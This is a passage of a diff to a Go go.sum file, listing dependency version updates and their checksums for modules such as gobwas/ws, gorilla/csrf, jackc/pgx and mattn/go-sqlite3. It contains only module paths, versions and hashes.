github.com/go-playground/validator/v10 v10.2.0/go.mod h1:uOYAAleCW8F/7oMFd6aG0GOhaH6EGOAJShg8Id5JGkI=
|
||||
github.com/go-sql-driver/mysql v1.7.0 h1:ueSltNNllEqE3qcWBTD0iQd3IpL/6U+mJxLkazJ7YPc=
|
||||
github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/gobwas/httphead v0.0.0-20180130184737-2c6c146eadee/go.mod h1:L0fX3K22YWvt/FAX9NnzrNzcI4wNYi9Yku4O0LKYflo=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
github.com/gobwas/pool v0.2.0/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM=
|
||||
github.com/gobwas/ws v1.3.0 h1:sbeU3Y4Qzlb+MOzIe6mQGf7QR4Hkv6ZD0qhGkBFL2O0=
|
||||
github.com/gobwas/ws v1.3.0/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY=
|
||||
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||
github.com/gobwas/ws v1.3.2 h1:zlnbNHxumkRvfPWgfXu8RBwyNR1x8wh9cf5PTOCqs9Q=
|
||||
github.com/gobwas/ws v1.3.2/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY=
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 h1:sQspH8M4niEijh3PFscJRLDnkL547IeP7kpPe3uUhEg=
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466/go.mod h1:ZiQxhyQ+bbbfxUKVvjfO498oPYvtYhZzycal3G/NHmU=
|
||||
github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA=
|
||||
@@ -177,42 +172,36 @@ github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfb
|
||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
||||
github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg=
|
||||
github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=
|
||||
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
|
||||
github.com/google/btree v1.1.2 h1:xf4v41cLI2Z6FxbKm+8Bu+m8ifhj15JuZ9sa0jZCMUU=
|
||||
github.com/google/btree v1.1.2/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4=
|
||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
|
||||
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c h1:06RMfw+TMMHtRuUOroMeatRCCgSMWXCJQeABvHU69YQ=
|
||||
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c/go.mod h1:BVIYo3cdnT4qSylnYqcd5YtmXhr51cJPGtnLBe/uLBU=
|
||||
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
|
||||
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26/go.mod h1:dDKJzRmX4S37WGHujM7tX//fmj1uioxKzKxz3lo4HJo=
|
||||
github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
|
||||
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
|
||||
github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||
github.com/google/nftables v0.2.1-0.20240414091927-5e242ec57806 h1:wG8RYIyctLhdFk6Vl1yPGtSRtwGpVkWyZww1OCil2MI=
|
||||
github.com/google/nftables v0.2.1-0.20240414091927-5e242ec57806/go.mod h1:Beg6V6zZ3oEn0JuiUQ4wqwuyqqzasOltcoXPtgLbFp4=
|
||||
github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd h1:gbpYu9NMq8jhDVbvlGkMFWCjLFlqqEZjEmObmhUy6Vo=
|
||||
github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd/go.mod h1:kf6iHlnVGwgKolg33glAes7Yg/8iWP8ukqeldJSO7jw=
|
||||
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4=
|
||||
github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/csrf v1.7.1 h1:Ir3o2c1/Uzj6FBxMlAUB6SivgVMy1ONXwYgXn+/aHPE=
|
||||
github.com/gorilla/csrf v1.7.1/go.mod h1:+a/4tCmqhG6/w4oafeAZ9pEa3/NZOWYVbD9fV0FwIQA=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/csrf v1.7.2 h1:oTUjx0vyf2T+wkrx09Trsev1TE+/EbDAeHtSTbtC2eI=
|
||||
github.com/gorilla/csrf v1.7.2/go.mod h1:F1Fj3KG23WYHE6gozCmBAezKookxbIvUJT+121wTuLk=
|
||||
github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY=
|
||||
github.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ=
|
||||
github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ=
|
||||
github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4=
|
||||
github.com/gorilla/websocket v1.4.1 h1:q7AeDBpnBk8AogcD4DSag/Ukw/KV+YhzLj2bP5HvKCM=
|
||||
github.com/gorilla/websocket v1.4.1/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/gorilla/securecookie v1.1.2 h1:YCIWL56dvtr73r6715mJs5ZvhtnY73hBvEF8kXD8ePA=
|
||||
github.com/gorilla/securecookie v1.1.2/go.mod h1:NfCASbcHqRSY+3a8tlWJwsQap2VX5pwzwo4h3eOamfo=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 h1:UH//fgunKIs4JdUbpDl1VZCDaL56wXCB/5+wF6uHfaI=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0/go.mod h1:g5qyo/la0ALbONm6Vbp88Yd8NsDy6rZz+RcrMPxvld8=
|
||||
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
|
||||
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hdevalence/ed25519consensus v0.1.0 h1:jtBwzzcHuTmFrQN6xQZn6CQEO/V9f7HsjsjeEZ6auqU=
|
||||
github.com/hdevalence/ed25519consensus v0.1.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
|
||||
github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
|
||||
github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
|
||||
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
@@ -220,20 +209,22 @@ github.com/illarion/gonotify v1.0.1 h1:F1d+0Fgbq/sDWjj/r66ekjDG+IDeecQKUFH4wNwso
|
||||
github.com/illarion/gonotify v1.0.1/go.mod h1:zt5pmDofZpU1f8aqlK0+95eQhoEAn/d4G4B/FjVW4jE=
|
||||
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
|
||||
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/insomniacslk/dhcp v0.0.0-20230908212754-65c27093e38a h1:S33o3djA1nPRd+d/bf7jbbXytXuK/EoXow7+aa76grQ=
|
||||
github.com/insomniacslk/dhcp v0.0.0-20230908212754-65c27093e38a/go.mod h1:zmdm3sTSDP3vOOX3CEWRkkRHtKr1DxBx+J1OQFoDQQs=
|
||||
github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2 h1:9K06NfxkBh25x56yVhWWlKFE8YpicaSfHwoV8SFbueA=
|
||||
github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2/go.mod h1:3A9PQ1cunSDF/1rbTq99Ts4pVnycWg+vlPkfeD2NLFI=
|
||||
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
|
||||
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
|
||||
github.com/jackc/pgx/v5 v5.5.4 h1:Xp2aQS8uXButQdnCMWNmvx6UysWQQC+u1EoizjguY+8=
|
||||
github.com/jackc/pgx/v5 v5.5.4/go.mod h1:ez9gk+OAat140fv9ErkZDYFWmXLfV+++K0uAOiwgm1A=
|
||||
github.com/jackc/pgx/v5 v5.5.5 h1:amBjrZVmksIdNjxGW/IiIMzxMKZFelXbUoPNb+8sjQw=
|
||||
github.com/jackc/pgx/v5 v5.5.5/go.mod h1:ez9gk+OAat140fv9ErkZDYFWmXLfV+++K0uAOiwgm1A=
|
||||
github.com/jackc/puddle/v2 v2.2.1 h1:RhxXJtFG022u4ibrCSMSiu5aOq1i77R3OHKNJj77OAk=
|
||||
github.com/jackc/puddle/v2 v2.2.1/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8 h1:8BCzJdSvUbaDuRba4YVh+SKMGcAAKdkcF3SVFbrHAtQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8/go.mod h1:zbn98qrYlh95FIhwwsbIip0LYpwSG8SUOScs+v9/t0E=
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.9 h1:ACteMBRrrmm1gMsXe9PSTOClQ63IXDUt03H5U+UV8OU=
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.9/go.mod h1:zbn98qrYlh95FIhwwsbIip0LYpwSG8SUOScs+v9/t0E=
|
||||
github.com/jellydator/ttlcache/v3 v3.1.0 h1:0gPFG0IHHP6xyUyXq+JaD8fwkDCqgqwohXNJBcYE71g=
|
||||
github.com/jellydator/ttlcache/v3 v3.1.0/go.mod h1:hi7MGFdMAwZna5n2tuvh63DvFLzVKySzCVW6+0gA2n4=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
|
||||
@@ -244,24 +235,19 @@ github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGw
|
||||
github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U=
|
||||
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
|
||||
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
|
||||
github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
|
||||
github.com/josharian/native v1.0.1-0.20221213033349-c1e37c09b531/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
|
||||
github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86 h1:elKwZS1OcdQ0WwEDBeqxKwb7WB62QX8bvZ/FJnVXIfk=
|
||||
github.com/josharian/native v1.1.1-0.20230202152459-5c7d0dd6ab86/go.mod h1:aFAMtuldEgx/4q7iSGazk22+IcgvtiC+HIimFO9XlS8=
|
||||
github.com/jsimonetti/rtnetlink v1.3.5 h1:hVlNQNRlLDGZz31gBPicsG7Q53rnlsz1l1Ix/9XlpVA=
|
||||
github.com/jsimonetti/rtnetlink v1.3.5/go.mod h1:0LFedyiTkebnd43tE4YAkWGIq9jQphow4CcwxaT2Y00=
|
||||
github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
|
||||
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
|
||||
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
|
||||
github.com/jsimonetti/rtnetlink v1.4.0 h1:Z1BF0fRgcETPEa0Kt0MRk3yV5+kF1FWTni6KUFKrq2I=
|
||||
github.com/jsimonetti/rtnetlink v1.4.0/go.mod h1:5W1jDvWdnthFJ7fxYX1GMK07BUpI4oskfOqvPteYS6E=
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5V3lRzakvEyr49P7hHRYoHtPr8zvj/7JodCoRzw=
|
||||
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
|
||||
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
|
||||
github.com/klauspost/compress v1.10.3/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
|
||||
github.com/klauspost/compress v1.17.8 h1:YcnTYrq7MikUT7k0Yb5eceMmALQPYBW/Xltxn0NAMnU=
|
||||
github.com/klauspost/compress v1.17.8/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw=
|
||||
github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA=
|
||||
github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ=
|
||||
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk=
|
||||
@@ -277,8 +263,6 @@ github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
|
||||
github.com/leodido/go-urn v1.2.0 h1:hpXL4XnriNwQ/ABnpepYM/1vCLWNDfUNts8dX3xTG6Y=
|
||||
github.com/leodido/go-urn v1.2.0/go.mod h1:+8+nEpDfqqsY+g338gtMEUOtuK+4dEMhiQEgxpxOKII=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
|
||||
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
|
||||
@@ -288,72 +272,62 @@ github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP
|
||||
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
|
||||
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
|
||||
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U=
|
||||
github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI=
|
||||
github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
|
||||
github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o4kU=
|
||||
github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||
github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw=
|
||||
github.com/mdlayher/genetlink v1.3.2/go.mod h1:tcC3pkCrPUGIKKsCsp0B3AdaaKuHtaxoJRz3cc+528o=
|
||||
github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWCdcZk8/vA=
|
||||
github.com/mdlayher/netlink v1.7.2 h1:/UtM3ofJap7Vl4QWCPDGXY8d3GIY2UGSDbK+QWmY8/g=
|
||||
github.com/mdlayher/netlink v1.7.2/go.mod h1:xraEF7uJbxLhc5fpHL4cPe221LI2bdttWlU+ZGLfQSw=
|
||||
github.com/mdlayher/sdnotify v1.0.0 h1:Ma9XeLVN/l0qpyx1tNeMSeTjCPH6NtuD6/N9XdTlQ3c=
|
||||
github.com/mdlayher/sdnotify v1.0.0/go.mod h1:HQUmpM4XgYkhDLtd+Uad8ZFK1T9D5+pNxnXQjCeJlGE=
|
||||
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
|
||||
github.com/mdlayher/socket v0.5.0 h1:ilICZmJcQz70vrWVes1MFera4jGiWNocSkykwwoy3XI=
|
||||
github.com/mdlayher/socket v0.5.0/go.mod h1:WkcBFfvyG8QENs5+hfQPl1X6Jpd2yeLIYgrGFmJiJxI=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI=
|
||||
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
|
||||
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
|
||||
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
|
||||
github.com/miekg/dns v1.1.59 h1:C9EXc/UToRwKLhK5wKU/I4QVsBUc8kE6MkHBkeypWZs=
|
||||
github.com/miekg/dns v1.1.59/go.mod h1:nZpewl5p6IvctfgrckopVx2OlSEHPRO/U4SYkRklrEk=
|
||||
github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
|
||||
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
|
||||
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
|
||||
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
|
||||
